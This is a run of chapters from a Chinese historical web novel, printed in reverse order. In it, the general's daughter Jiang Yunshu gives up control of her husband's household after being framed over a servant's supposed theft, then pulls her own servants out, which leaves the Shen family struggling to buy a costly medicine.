说话间,那男人身后跟着的小厮上前,将一个托盘给韩掌柜递过去。 小二上前接过托盘,掀开上面盖着的红布,入眼便是十个金灿灿的金元宝。 高芝兰当时眼睛便瞪大了些,视线在那金元宝上凝视半晌又移到男人身上。 从穿着装扮,不难看出这人身份华贵,但从气质上又能分辨出,他是替人办事而并非主子。 这得是王公贵族府上的管事吧! 的确,这便是庆王府的甄管家。 “你点点。”甄管家道。 韩掌柜依规矩办事,清点了元宝,转身自内堂取出一个锦盒,那锦盒和姜云舒之前带去老太傅府上的盒子一样,不过大小却是姜云舒那锦盒的一半。 “这里是五颗,甄管家也验验。” 甄管家接过来,数了数量刚好五颗。 高芝兰站在边上瞧着,忍不住撮着牙花子倒吸一口凉气。 十个金元宝只买了五颗? 一颗就值二百两金子! 早知道归心丸价格昂贵,可她万万没想到竟能贵到这样离谱。 不就是药王谷出来的药吗,难不成还真是那太上老君的炼丹炉里过了一遍? 更让她愤愤不平的是,便是这天价,姜云舒竟一下子给老太傅送了十颗! 她忘了姜云舒是为了谁才送这么大的礼,只是觉着姜云舒能随手送的东西,到她这里,哪怕是一颗也让她忍不住心脏直抽抽。 傻眼了。 这边韩掌柜招呼完甄管事,随手将高芝兰的三百两银子往回推了推。 “这位夫人,你若是救急,我这儿刚好还有五颗,我们东家向来与人为善,或许能让给你……” “你这归心丸,值二百金?”高芝兰忍不住开口。 虽说这三年她在岩城靠着跟崔家做生意也挣了几万两,可那到底是辛辛苦苦的血汗钱,是她留着要在京城开药铺的。 之前拿一千两银子安抚老太太,她还得咬着牙,如今这一颗药就相当于两千两银子,那杨大夫说,要连用七日? 这可是要了命了,这不是吃药,是直接拿金子往那老太婆身上贴啊! 高芝兰这话一出,原本要走的甄管家一下子停住脚步。 “哟,这位夫人是瞧不上归心丸?你大概不知道,归心丸所用可是天玑山雪灵芝,只这一味药,便可卖出千两金,你不要,这京城权贵有的是人要,人家韩掌柜瞧着你是用来救急才帮你请示东家,否则,排队你都不知排到猴年马月了!” 说着,甄管事又转向韩掌柜,“你们东家可真是个好样的,自己手里竟然还藏着,怎么,怕我们多买吗?” “甄管家可是说笑了,咱们仁春堂的归心丸向来是紧着虞太妃的,要说也不是藏着,不过是我们东家自己备着的,毕竟最近这段日子……” 话说一半,韩掌柜给了甄管家一个只可意会不可言传的笑。 便是宫里,也备不住有太医来请药,做生意嘛,能跟官家合作,诸事才多便捷。 甄管家心领神会,点点头,视线在高芝兰身上扫过,抱着锦盒转身离开。 目送走了甄管家,韩掌柜又看向高芝兰。 “这位夫人,归心丸你还用不用?”他又问一句。 第22章 急火攻心 福寿园。 如姜云舒所想,老夫人刚得手的库房钥匙还没焐热,就被沈清安要了过去。 理由嘛,自是用刚才搪塞姜云舒的由头堵老夫人的嘴。 药材生意的人脉和路子是高芝兰的,日后药房落地京城,亦当由她全权负责,往后这药房便是沈府的财政来源,中馈自当由高芝兰掌管。 沈清安到底比老夫人逻辑严谨,思维缜密,一翻话术下来,老夫人气得太阳穴直突突,竟找不出一句话反驳。 高芝兰倒是懂得如何哄老夫人,当即拿出一千两银票。 “母亲一辈子为了我们沈家,我们为人儿女,怎能再让母亲受累,如今是该我们孝敬您的时候,您放心,日后药铺开成,除了每月月份,我每半年还再给母亲一份分红。” 老太太眼瞧着银票,眼睛一下子晶亮起来。 要说日常吃穿用度,姜云舒对她也向来大方,但除了月利,还真没给她这么多现银,听说如今京城药材生意很是盈利,繁荣街那片的仁春堂,每年能有十几万两的进项,半年一分成,那可不少钱呢! 要说,这银子还是得攥在自己手里才踏实。 思量之下,老夫人虽依旧不情愿,可架不住她给的太多了。 在银钱的加持下,算是达成了和谐的同意,老太太也高兴,招呼吉祥。 “去,叫人去小林园抓几只蜜兔晚上吃,长元最喜欢吃炙烤蜜兔。” 吉祥瞧着老夫人满面春光,垂眸之下隐去了不经察觉的意味。 “是。”她应声出去吩咐人办,很快两个小厮带了抓兔子的工具出去。 一炷香后。 原本抓兔子的两个小厮急匆匆回来。 “怎的这样快就回来了,可是抓了最肥的?”老夫人问。 “老夫人……” 两个小厮气喘吁吁,急喘了几口才回答,“小林园那边闭了场,不让进,管事儿的说那是姜夫人的私园,不让进去抓。” “你说什么?” 老夫人猛然起身,脸上瞬间没了之前的喜色。 沈清安也黑了脸,上前扶住老夫人,朝小厮呵斥,“姜氏既入了我沈家门,那便是我沈家人,一两只蜜兔,本就应当是她拿来孝敬老夫人。” 小厮一脸无辜,“姜夫人身边的月禾姑娘说了,以前姜夫人常在老夫人面前孝敬,如今沈大人和高夫人归来,这孝敬的机会留给你们!” “混账!” 沈清安一下子憋红了脸,正要发作,却见赵大海急匆匆进来。 “老夫人,大人,不好了!各处管事撂挑子,带着手底下的人都走了!”赵大海呼哧带喘的,比刚才那小厮还急。 “什么?”老夫人又是一惊,说话间就朝外走,“快,快去看看!” 众人来不及多想,赶紧跟了过去,刚出福寿园,就见厨房几个主勺的大厨子和打下手的小厮拎着平日干活的家伙事儿往外走。 “站住!” 沈清安冷喝一声,“这里是沈府,岂是你们想来就来想走就走!” 说话间,跟着的几个小厮上前拦住众人的道儿。 “沈大人,我们可不是沈府的下人。” 其中一个胖厨子跟沈清安解释,“我们是姜夫人庄子上的,当时沈家人手不够,姜夫人便将我们调来府里做工,夫人说了,如今她不做沈家的主,我们便回原来的庄子。” 说着,还将卖身契拿了出来。 “你瞧,姜夫人才是我们的主子。” 沈清安三年都不在家,竟不知道姜云舒拿自己的人添补沈家,更何况,他一直对姜云舒有怨恨,即便她掏心掏肺,也当她是自找的。 如今她这一撤,整个沈家后宅走了六成的下人。 老夫人当即白了脸。 “不能走,你们不能走,你们走了,我可如何是好……” 一句话没说完,老夫人突然翻了白眼往地上栽。 “母亲!” “母亲!” 沈清安和高芝兰紧忙过来扶,人倒是没摔着,可脸色发白呼吸急促,情况不妙。 “大夫,快去请大夫!”沈清安朝管家大喊一声。 管家应声就要去请,却听老夫人声音微弱地开口。 “去,去请陆太医,我要陆太医给我瞧病……” 这三年,一直都是陆太医给她调理身体,一般的大夫她不信。 可这倒让沈清安为难了。 太医职责是为王权贵胄看诊治病,他沈清安区区五品光禄寺少卿,哪有资格请太医? “母亲,儿子官职不够,怕是请不来太医。”沈清安拧着眉头。 “哎哟!”老夫人痛呼一声,颤颤巍巍抬起手来,“姜氏,让姜氏去请……” 沈清安的眉头拧成了一个疙瘩。 清晨他们刚刚算计让姜云舒交出了中馈,虽不至于撕破脸,可这求人的嘴如何能张得开? 他不回答,老夫人的“哎呦”声更急了。 “好,我这就去请!”沈清安只能先应着。 然而,姜云舒早知老夫人得闹这一出,提早出了门,没人知道她去了哪里。 一炷香后。 陆太医到底没请来,请来的是长明医馆的杨大夫。 号完脉,杨大夫又问平常老夫人吃的什么药。 吉祥在一旁侯着,紧忙将老夫人日常滋补养身的药送过去。 杨大夫一样一样分辨,最后打开那颗包装精致的药丸,当即眼睛一亮。 “这可是仁春堂的归心丸?”他问。 “是。”吉祥如实回答,“三年前老夫人急火攻心,夫……姜夫人便是用这归心丸将老夫人救了回来,此后每半年也都让老夫人服一丸预防。” “是了,得亏有这药。”杨大夫点头,随即将归心丸交给吉祥,“快去,用温水化了喂给老夫人。” “是!”吉祥忙接过药丸。 这边杨大夫给老夫人施了针,又叮嘱沈清安,“这归心丸急救有奇效,但稳妥起见,需连服七丸。” “那可怎么好,老夫人的药箱里只剩这一丸了!”吉祥惊呼。 “无妨,我这便让人去买!”沈清安扭头就要往外走,却被杨大夫叫住。 “沈大人,这归心丸名贵,便是仁春堂,一年也只出十丸,京城名门权贵诸多,怕是没那么容易买。”杨大夫叹一口气。 都知道这归心丸是救命的药,自有高门显贵为府上长辈备着,这药,可不是有钱就能买的。 沈清安的眉头又拧了起来。 这大夫还能凑合,可药是入口救命的,替换不得。 犹豫衡量半晌,他终是一咬牙,“吉祥,去请姜夫人来。” 第21章 驭人之术 月禾早在门外等着,越听眼里戾色越甚,真真是一家子没皮没脸的,以为小姐好欺负呢。 她拳头攥得关节泛白,就等姜云舒语气不对,她便冲出去出这口气,然而,等了半天却听姜云舒让她去取库房钥匙。 她不甘心,可终究还是要听姜云舒的吩咐,猛地在门口跺了一脚,转身往外走。 片刻功夫,月禾将库房钥匙拿了过来。 姜云舒转手接过,眼瞧着高芝兰紧盯着她手里的钥匙,她唇角一勾,将钥匙递到了老夫人手里。 “如此,从今日起,我便不再过问沈府吃穿用度,也不再过问沈府一应事务。” 老夫人总觉有什么地方不对劲,可一时又想不明白究竟是哪里不对,不过,此刻来不及想其他,手里拿着沉甸甸的库房钥匙,顿时便有了往常不曾有过的优越感。 从今以后,这沈家后宅方方面面可都得听她的,不管是高芝兰还是姜云舒,那不得天天供着菩萨一般供着她? 母凭子贵,这才是她应该有的地位,这才是她该享受的尊敬! 这边老太太难压着嘴角兴奋,一旁高芝兰却是一脸僵硬。 不是承诺了她的当家主母吗?不是应该由她掌管中馈吗? 原本她是让老夫人做挡箭牌,却不想她自己才是那个挡箭牌,这老太婆,三年没见,竟然跟她耍起心眼子来了! 高芝兰咬着牙,一脸哀怨的看向沈清安,沈清安亦皱眉,不过当着姜云舒的面儿,并未开口。 “你们放心,之后药铺落地,我沈家的日子定蒸蒸日上。”老夫人说着,又敷衍地叮嘱姜云舒,“你也尽快调理好身体,来年好给沈家添丁。” 姜云舒不接话茬,心中却是一声冷笑,且不说生不生孩子,以后沈家的日子关她屁事? 不,应该说,这中馈交出去后,沈家的日子必定不会好过,届时,这人人争抢的库房钥匙,便如同烫手的山芋。 回去路上,月禾依旧愤愤不平,走一路,骂沈家一路,还是气不过,扭头看向姜云舒。 “小姐,你何时这般好说话了?” “你可是将军府独女,自小尊贵,集万千宠爱于一身,何时让人这般欺压过!” “不行,待我们离开沈家这豺狼虎豹窝,说什么我都得给它放一把火!” 这丫头咬牙切齿,比之前比武输了还气。 “急什么,我们既做好了打算离开沈家,这中馈于我们来说便是累赘,要来何用?更何况……” 姜云舒眼中闪过锐利之色,“如今的沈府,可不是当初那个小门户,遇事多受阻,他们总要寻求解决的门路,沈清安的马脚自会露出来。” 以沈清安对仕途的看重,必定不会为了一个高芝兰对将军府出手,能让他出卖将军府的,必定有背后势力。 月禾蹙眉思量须臾,一下子反应过来。 小姐还是她那个小姐,虽脱卸下戎装,但依旧行一步谋十步。 揽芳院。 郭攀被五花大绑着跪在揽芳院庭院正中央,夜风寒凉,吹在身上,方才被赵大海的鞭子抽的地方一阵刺辣辣地疼。 听得脚步靠近,郭攀挪动膝盖回身,就见姜云舒和月禾进了院子。 “夫人,我……”他开口,声音沙哑。 “给他松开。”姜云舒道。 月禾上前,手里不知何时多了一柄小巧的匕首,只见那匕首在她指尖转动,唰唰几下,郭攀身上的粗绳便断了好几节。 “夫人,是我蠢,是我害了夫人!”郭攀上前,跪在姜云舒跟前磕头。 额头砸在青石砖地上,发出“砰砰”的闷响,听着都疼。 “你是蠢!那赵大海仗着是沈家祖籍跟来的人,向来鼻孔朝天,平日里正眼都不带瞧你一眼,哪里会管你这小厮的事?只凭一句话你就信了他,可不是蠢嘛!” 郭攀听着月禾的抢白,无话反驳,一时不知说什么,伸手就往自己脸上抽,一边抽一边骂。 “我蠢,我罪该万死,是我害了夫人……” “好了。”姜云舒喝止,沉沉叹一口气,“关心则乱,你娘本就身体不好,一时慌了神也是人之常情,如今事已至此,追究谁的错也于事无补。” 说着,她朝月禾摆摆手,月禾没好气还是将手里的一个小包扔给他。 “呐,接着。” 郭攀下意识接过去,一脸不解地看向姜云舒。 “这里是一些伤药和一百两碎银子,明日一早月禾会送你出去……” “夫人,您这是要赶我走?” 郭攀一下子直起腰来,说话间就要将那钱袋子还给月禾,却见姜云舒朝他摆摆手。 “你娘身子不好是事实,不管赵大海有没有说谎,你总要亲自回去确认一翻才能放心,没事最好,若真出了事,这些银子能派上用场,至于你,处理完家里的事便尽快回来给我当牛做马。” 姜云舒言语平静,似乎失了管家大权对她来说并不是什么要紧的事。 不过,她倒是平静,却让郭攀一个七尺男儿绷不住哭了出来。 “是,奴才一定尽快回来,从此以后,我这条命就是夫人的,上刀山下火海,只要夫人一句话,我眨个眼算我是龟缩的王八!” 他哭得一把鼻涕一把泪。 多好的夫人啊,可惜命不好,刚成婚便夫妻两地相隔,苦等三年终于等到丈夫回归,结果,丈夫是人家的,儿子也是人家的,如今掌家权也因为自己的蠢笨害她被算计。 沈家人忒不是个东西! 郭攀捶胸顿足地表明完忠心,揣着沉甸甸的银子和决心离开。 待他离开,月禾忍不住叹口气。 “小姐就是太善良,小姐不责罚他已经是格外开恩了,竟还给他银子放他回家,他的命可不值一百两。” “银钱能办到的事,本就是小事,他值钱的地方在于,他还有个哥哥名叫郭朝,如今正在城守卫当值。”姜云舒眼中闪过一抹锐利。 用银钱利益让人办事那是收买人心,但让人死心塌地拿命效忠那是驭人之术。 巧了,姜云舒初次领兵时,爹爹教她的便是驭人之术。 第20章 栽赃陷害 “你自己看看,这是不是你院子里的人!”老夫人冷声。 “他的确是我院外小厮,名叫郭攀。”姜云舒回答。 “承认就好!你院子里的人,携款私逃,被值夜家丁抓了个正着。”沈清安冷哼一声,“我将沈家后宅交给你,你就是这样管家的?” 这话出口,外面跪着的郭攀下意识挣扎起来。 “夫人,我没有,我没要逃跑,我跟管事告了假的!” 明明是个七尺汉子,此刻声音里除了急躁还带着委屈。 他真的是被冤枉的。 可话刚出口,旁边早已等着的管事上前就给了他一脚。 “胡说八道!你什么时候跟我告了假!”管事矢口否认,“就算你跟我告了假,为何偏偏晚上走?从你包裹里翻出来的,那可是一百两的银票,你区区一个小厮,一辈子都赚不来这么多银子,分明是偷的!” “那银子是夫人借给我的!”郭攀挣扎着辩解,“不是你帮我送来消息,说我娘急病……不是,赵大海,你算计我!” 话及此,郭攀突然反应过来,他被算计了。 “赵大海,我跟你无冤无仇,你为何要害我!”郭攀挣扎着要辨是非,却被几个小厮合理钳制住动弹不得,一双眼睛憋得通红。 姜云舒瞧着院中嘈乱,神情一如往常平淡沉静,只是眸色更多了一丝凉意。 方才郭攀一开口提及跟赵大海告假,姜云舒便明白了,他们算计的不是郭攀,而是她。 昨晚,从老夫人的福寿园回来不久,郭攀急匆匆来找她,说是家中老母急病要尽快回去。 郭攀为人忠厚老实,在揽芳院当值这三年,从未有过任何纰漏,如今见他神色匆匆眼眶泛红,姜云舒也没多想,便让月禾给他拿了一百两银票回去给老人看病。 倒不是姜云舒没有防范之心,她向来厚待下人,尤其这人还是她院子里的,加之郭攀家这位老人的确身子不大好,去年也曾闹过一场,郭攀花光了所有积蓄用好药才将母亲的命留住,如今再犯定然凶险倍增。 这一百两银票的意义在于,若能救,不至于让郭攀买不起好药,若救不回来,给老人风光大葬也算是尽了孝心。 却不想,她的办事周全倒让人拿来捏了短。 不愧是及第三甲之人,沈清安算计人还带迂回的。 “夫人,我是冤枉的,您知道我是冤枉,您救救我啊!”郭攀人实在嘴也笨,只瞪着猩红的用眼睛,不停地喊冤。 姜云舒自然知道他冤枉,可如今他们就是冲她来的,即便开口作证,也会被扣上包庇的帽子,这样的拉扯实在没有任何用处。 沈家众人视线在姜云舒脸上凝视,见她依旧神情未变,一时间拿不定主意 “人赃俱获,还敢狡辩,来人,将这刁奴拖出去杖责二十,送去京兆衙门!”老夫人突然大喝一声。 早就等在一旁的小厮早就准备好了杖刑的板子,当即按住郭攀就要打。 “住手。” 姜云舒终于开口,随即转向沈家众人,眸色冷凝,“我院子里的人犯错,我这个当主子的也有责任,所以,沈大人打算如何处置我?” 这不就是他们的目的嘛。 沈家这帮人跟她弯弯绕,她反而摆上明面,这样直白,倒是让沈清安和老夫人一时间愣住。 “你,你这是什么态度!”沈清安当即脸色一沉,“你掌管我沈府后宅中馈,出了纰漏自然是要与你问责,你若觉得委屈,不如交出中馈,自不必受这份委屈!” 呵,此刻倒是不再绕弯子,直说了。 姜云舒双手捏起了拳头,沈清安要回中馈,早在她的预料之中,却不想,他们竟这般迫不及待,尤其是老夫人,这三年的悉心照料和侍奉,真真是喂了狗。 不,不止对老夫人,她对沈家的付出,哪一样不是喂狗? 心口淤堵着一口气,姜云舒脸色却依旧没什么变化,扭头看向老太太,甚至依旧带着笑。 “老夫人,您也是这意思?” 这笑瞧得老夫人心虚,一时间眼神闪烁,下意识开口解释。 “你不要多想,我知道,这一家子里里外外事务繁忙,有纰漏在所难免,这样,大郎如今回来,你好好调养身子,为子嗣做准备才是,咱们女子,有子嗣傍身才踏实。” 这话,听起来句句为姜云舒着想,毕竟,如今她无娘家可依,只能母凭子贵才可在沈家站稳脚跟,可搪塞虚伪之下,不过是为强行要回中馈扯的由头。 原来竟不曾发现,沈家人吃相可真是有够难看的。 “老夫人这样说,我自无话可说,只是库房关系整个沈府,这钥匙是给您呢,还是给高氏?”她声音不大,却带着一股子冷飕飕的凉意。 姜云舒问这一句,让老夫人和高芝兰的眼睛里同时一亮,欲望再明显不过。 “我知道这几年你将沈家打理得很好,但芝兰到底是原配,这中馈迟早要交出来的,不过,芝兰刚回来,对府上诸事不甚清楚,待我一一与她交代清楚,再由她接手便是。”老夫人抢先接过话茬。 一句话,姜云舒瞬间有了判断。 老夫人虽拿着高芝兰这“原配”为由头,却并没有直接回答要将库房钥匙给高芝兰,这老太太是想自己掌控沈宅后院。 高芝兰的话没来得及出口,生生憋回去,脸色一瞬间阴沉,袖下双手缴着绢帕,她将表情隐藏的很好,却没逃过姜云舒那双如鹰隼一般锐利的眼睛。 姜云舒勾了勾唇角,开口,“既然老夫人开了口,我自是照办,不过,郭攀是我院子里的人,我的人,我要自己处置。” “你既开口,我自应允,来人,将这刁奴押去揽芳院。” 早知姜云舒性子并不软弱,老夫人原没想到她竟这般痛快就同意了,当即内心难掩兴奋,区区一个郭攀,自当不在话下。 郭攀似乎还没转过弯儿来,抬头见姜云舒朝他点头,虽愤愤不平,终究没再反抗,顺从地被带了出去。 待下人离开,姜云舒朝月禾吩咐一声,“月禾,去将库房钥匙拿来。” 第19章 得理不饶人 沈清安与她视线接触,原本蹙起的眉间更添了一道沟壑。 今日之事,姜云舒的确冤枉又委屈,是他和高芝兰太过急躁了。 衡量之下,沈清安沉了一口气,开口,“云舒,今日之事是我考虑不够周全,之后我定会补偿于你,也希望你以大局为重,长元毕竟在你身边教养三年,口口声声叫了你三年的‘母亲’。” 姜云舒捏着绢帕的手微微收紧,抬眸瞧见沈清安赔礼低头的姿态,心中却不免生出一股说不上来的复杂。 从前,定国将军府正得意之时,他也是这般姿态,不过那时的他看起来恳切又真诚,完全不似如今,即便是赔礼,可字字句句之间又夹带着胁迫。 可惜,她从来不吃这一套。 “老夫人和沈大人高抬我了,我一介罪臣之女,能力有限,如今已是尽力而为,长元聪慧伶俐,京城向来不缺名门书院,即便不是崇文书院,他若能潜心学习,日后必成大器,毕竟,虎父无犬子。” 简而言之两个字,没门! 几句话,将众人的嘴堵了个结实。 沈清安脸色比方才更加阴沉,可郁结归郁结,终究无话可说,当时老太傅话里拒绝的意思再直白不过。 甩下一众气结憋红脸的沈家人,姜云舒起身离开,刚出院门便听得里面传来一声杯盏落地摔碎的声音,她哼笑一声,径自迈出院门。 是夜,月朗星稀。 沈清睿执勤回来给老夫人请安时,沈清安和高芝兰也在,几个人脸色都沉着,进门听得几耳朵谈话,是在商议如何让姜云舒交出中馈。 “娘,大哥!” 沈清睿性子耿直,听及此便直接迈步进来,“大哥不在这三年,姜嫂嫂一边顾着娘,一边料理后院诸事,从未有过错,便是当初定国将军府出事,她亦是先顾着娘的身体,不曾离开,如今你们又何必咄咄逼人。” 沈家后宅,自是沈清安这个大哥说了算,可不管如何,他们这样急迫,难免有些忘恩负义。 众人议论声骤然停住,一时间,视线落在沈清睿脸上,略显尴尬。 沈清安是正儿八经读书考取功名,他光辉闪耀,便将沈清睿显得平庸无所长,沈家老夫人也下意识忽略这个小儿子,如今他突然开口,倒是然他们一时没反应过来。 片刻沉寂之后,沈清安先回应了一声冷笑。 “这些本就是她应受的,若不是当初姜兆霖以权压人,她姜云舒如何能进我沈家门。” 方才,姜云舒的得理不饶人让沈清安那一点微末的怜惜瞬间散了个干净,他怎么忘了,这个女人惯于嚣张跋扈,她做的这一切就是让沈家对她感恩戴德,否则,之前在太傅府上为何不立刻说明? 她就是故意的。 “你说……什么?”沈清睿不由得愣住。 当初,不是兄长去将军府求娶姜嫂嫂的么,如今为何是这般说辞? 正百思不得其解,又听高芝兰开口。 “二郎如今这样帮姜氏说话,看来这三年受她颇多照顾呢,到底是疏远了。” 一句话说得阴阳怪气之意再明显不过。 “大嫂,我不是那个意思!”沈清睿紧忙否认,可还不等他解释,又听老夫人一声冷哼。 “二郎这是习惯了听她差遣,耳根子都偏了!” 沈清睿一句话生生噎在了喉咙里,仿佛有股子浊气卡着,上不去下不来,难受至极。 如今这沈府,到底是大哥说了算,他做不得主。 拧着眉头憋闷片刻,沈清睿转身离开。 翌日,清晨。 暖阳淡薄了春季的凉意,明媚洒落天地之间,似召唤一般,唤醒万物。 姜云舒尚在睡梦之中,听得门外一阵杂乱的说话声。 “哎呀,月禾姐姐快放我进去吧,老夫人让姜夫人赶紧过去呢。” 是一个小丫鬟的声音。 “都说了,我们小姐还没起,就是天大的事儿,也得等着,你没听过吗,扰人清梦要天打雷劈的!” 月禾毫不相让,说着,将院门一关。 此刻姜云舒也醒了,朝门外喊了一声。 “月禾。” “哎!” 月禾在门外应一声,招呼着伺候的丫鬟一同开了门,这门刚一开,丫鬟的声音便传了进来。 “姜夫人,奴婢是福寿园的红杏,老夫人叫您尽快过去,有急事呢!” “管你急不急,等着!”月禾朝外面吼一声,随即招呼人侍奉姜云舒洗漱。 姜云舒被人扰梦的确心有不悦,她也不回答红杏,不紧不慢的洗漱梳妆妥帖才出来。 红杏紧忙迎上来。 “姜夫人……” 只一个字出口,冷不丁瞧见姜云舒面色冷沉,嘴边的话生生滞住。 明明,眼前这位姜夫人从未苛待过沈家后院任何一位下人,不,应该是比大多当家主母还要厚待下人,可她那一身肃冷的气质,让人不敢放肆逾越。 “你可知是什么事?”姜云舒问。 “奴婢不知,但是听小厮议论,外头管事抓了一个人。”红杏回答。 抓了一个人? 姜云舒蹙眉,一时间猜不出是什么人。 猜不出索性也不多想,跟着便去了福寿园。 自沈清安和高芝兰回来,姜云舒再来福寿园,每次气氛都凝重低沉,这次依旧不例外。 而且,一如她猜想,除了老夫人,沈清安和高芝兰也在。 此刻,高芝兰正给老夫人递茶,旁边沈清安坐着,皱着眉头似乎在思考什么。 高芝兰侍奉婆母,一大早过来请安伺候也算正常,沈清安倒是真闲,即便尚未见到皇上,可回京述职事务诸多,他却处处不缺席。 看来,今早这一场戏,是得有他才能唱起来的。 “请老夫人安。”抬脚进了门。 一句话将众人视线引过来,老夫人一口茶刚入口,当即站起身来。 “姜氏,你可真是对得起我对你的一片信任!” 劈头盖脸的一句话,带着震慑,若是寻常夫人,定然先跪地赔礼再喊冤解释,可这一招对姜云舒没用。 “老夫人这话,我听不懂。”姜云舒回道。 “你还装糊涂,来人,将那贼人给我带上来!”沈清安一声冷喝。 随着声音落地,立刻有两个小厮驾着一个五花大绑的男人进了院子,其中一人往那男人膝上踹了一脚,男人闷哼一声跪在地上。 姜云舒视线穿过珠帘看去,瞧见那人相貌,神色一沉。 第18章 生出怜惜 “母亲的意思是……”高芝兰眸光一亮,脸上带了喜色,下意识看向沈清安。 沈清安蹙眉思量之后点点头,倒也认同老夫人的意思。 “母亲说得没错,有些事情要提早准备,将中馈要回才方便部署。” 他后面要做的事,的确不能让姜云舒插手,如今最好的安排便是,姜云舒安分守己地在沈家过她的日子,其他无需她多管。 听沈清安也同意,高芝兰原本沮丧的脸上又倏然多了几分得意。 看吧,这个家里有婆母和相公撑腰,区区姜云舒拿什么和她比? 老夫人也悠然端起杯盏,一边品着,暗自也在盘算着。 和姜云舒不同,高芝兰性子柔和,向来以她为尊,如今中馈要回来,她自是要亲自掌管,好不容易当了婆母却被姜云舒压制,如今她可得好散一散这口憋闷的气。 傍晚。 夕阳如霞,映山的红色在湖中倒影,仿若天地作画,美不胜收。 姜云舒的马车缓缓停在沈府门口,刚下马车,便有丫鬟迎了出来。 “夫人,老太太请您到了便去福寿园。”丫鬟是老太太院子里的吉祥,说话间,她目光扫过四周,又低声提醒一句, “大人和高氏也在。” 说完,又低下头,让人看不出任何异常。 倒不是吉祥于主不忠,只是主仆之间没了情分,便只剩听吩咐办差事。 当年,吉祥随老太太出门时,偶遇尚书家嫡次子曹勋,见吉祥生得貌美,曹勋色胆包天,当即就要将她带走。 老太太知尚书府高官显贵,非但不阻拦,还警告吉祥莫要惹怒了那纨绔,连累沈府,当时吉祥心如死灰,险些自戕,幸得姜云舒出手,这才将她救了回来。 卖身为奴,吉祥自是不敢对老太太心生怨怼,可失望亦是在所难免,相比之下,对姜云舒更是多了几分感恩。 “无妨,走吧。” 姜云舒应声,随着吉祥往老太太的福寿园走去。 今日沈清安和高芝兰在尚书府闹了那么一通,若无声无息才稀奇。 尚未进院子,只觉气氛沉闷,待进门,众人的视线瞬时落在姜云舒身上。 “姜氏,你还当你是不是沈家人!” 老夫人先发制人,冷着脸开口,“就算长元不是你亲生,可到底是沈家的孩子,你为何要毁他前途!” 姜云舒脚步站稳,视线在沈清安和高芝兰脸上扫过。 沈清安一贯严肃沉冷,有种即便理亏气也壮的错觉,高芝兰倒是真心虚,垂着眸子掩饰神情。 “沈大人和高夫人,就是这么跟老夫人汇报的?” 唇角嘲讽难掩,迎着老夫人的怒意,“我不用再提,您大概也知道,原本我给长元安排的便是拜白老太傅门下,今日老太傅过寿,我备了重礼前往,若无意外,今日或可敲定,可是……” 她的视线再次扫过沈清安和高芝兰,“沈大人唯恐被我姜氏拖累,甚至要动用赤羽卫赶我回来将我从白府赶走,高夫人更是趁机抢了我所备的贺礼,妄想贪天之功,我自可大度不与你们计较,可你们却忘了老太傅性情耿直,你们所做恰好犯了他的禁忌,这才将事情至于绝地,我非白家血缘儿女,如今已是无能为力,所以,沈大人和高夫人将这归于我要毁了长元前途?” 几句话说完,众人脸上神情各变,尤其是沈清安,原本阴郁的脸上更多了几分震惊。 “你今日去白府竟是……”他望向姜云舒,一时竟不知说什么。 今日他急迫让姜云舒离开,的确有担心因姜氏被人拿来做文章的原因,但最主要的是怕她从中搅局,阻止长元进崇文书院。 可万万没想到,她送那么贵重的归心丸,竟是为了长元。 明知长元是他和高兰芝所生,她还能做到如此,是他以小人之心度君子之腹了。 没想到,姜云舒竟真是爱惨了自己。 一时间,沈清安心中竟莫名生出一丝难得的怜惜和愧疚。 “我并非怪你,只是,你应该与我说明。”沈清安声音明显轻柔了许多。 高芝兰见沈清安这反应,捏着绢帕的手不由得拉扯住,心中更是多了几分阴寒。 论出身,相貌,涵养,气质,高芝兰一个平民出身,的确处处比不上姜云舒,可她有儿子,有能兴旺沈氏一族的命格,只凭这两点,她这一家主母的位置,姜云舒就抢不走。 原本,高兰芝是有这样的自信的,毕竟,每每提及姜云舒,沈清安脸色都难掩厌烦,可如今,他竟对姜云舒表露出了那样的表情。 这对于高芝兰来说,是一个危险的信号,这样下去可不行。 “是呢,若是一开始你便说明,相公也不会误会,虽说,以往沈家大小事务都是你做主,可如今相公回来了,你理应禀报才好。”高芝兰开口,说着,不着痕迹的扯了扯沈清安的衣袖。 姜云舒侧目看高芝兰,唇畔嘲讽更甚。 “所以,任你抢了我要送的寿礼,反而是我的错了?”她朝高芝兰摊开双手,“接下来,你还要想要什么,不如直说,我双手给你奉上!” “你……” 高芝兰被噎了个结实,张着嘴半晌,愣是没说出一句话来。 她接不上话,便将目光投向了老夫人。 老夫人一口茶刚入口,轻咳一声,身形往后仰了仰。 “好了,事情既已如此,争论对错还有什么意义,进崇文书院也不止老太傅这一条路。” 老夫人喝口茶清了清嗓子,看向沈清安,“你们不是说吏部侍郎家的大公子是崇文书院的监理么,我们有恩于他家,哪怕不是内院弟子,只要能进崇文书院也是好的。” 沈清安蹙眉,对于老夫人的话不置可否。 在老太傅府上,吏部侍郎的态度让他捉摸不透,即便再次登门,事情也不如之前容易办。 老夫人又看向姜云舒,“姜氏,你既真心为长元打算,老太傅这边或许还能有转机,过几日等他消了气,你再带些厚礼上门疏通疏通。” 姜云舒闻言,眉梢轻挑,她不应答,只看向沈清安。 第17章 骗婚 裴钰一下子凑过来,不等姜云舒回答,他自己先道:“据调查,高芝兰,这些年一直在岩城一户崔姓人家帮工,那崔家是岩城有名的富户。” “崔?”姜云舒眼皮轻颤一下。 “若是没记错,你家那老太太娘家就姓崔。”裴钰眨眨眼,若有所思,“若那崔姓人家是老太太的娘家,那沈清安和那原配当年恐怕根本就不是走失。” 姜云舒捏着水杯的手不由得加了力道。 若不是走失,那便是刻意安排,所以,沈清安说他是迫于定国将军府的势力才与她成婚。 “不敢得罪定国将军府,又舍不得原配,所以才想出这样一个两全之策,将人逼成那样,我还真是那坏人……”姜云舒自嘲地哼笑一声。 “凭什么小姐就是坏人了!当初是他沈清安亲自来将军府提的亲,也是他在老将军面前亲口承诺此生不纳妾,他若不愿意这门亲事,咱们还能抬着花轿强闯他沈家大门不成?” 月禾拧着眉头,愤愤不平,“再说了,当初受我将军府恩惠的时候,他倒是愿意了?依我看,这分明就是骗婚!” 骗婚…… 姜云舒眉心逐渐拢起。 “还有,崔家原本也不是岩城本地人,据说,他们是三年前来在岩城做药材生意发的家。”裴钰又道。 三年前,这时间就有意思了。 “那崔家的当家人叫什么名字?”姜云舒又问。 “崔明磊。”裴钰回。 姜云舒指尖微动,这个名字,她似乎是听到过的。 沈清安为官这些年,沈府开销除了他的俸禄,还有老家亲戚供给。 犹记得三年前,老家给沈府送来银子,来的人似乎就叫崔明磊,之后两年陆陆续续也有老家来人送银钱,虽不是一开始那人,但来的人也都姓崔。 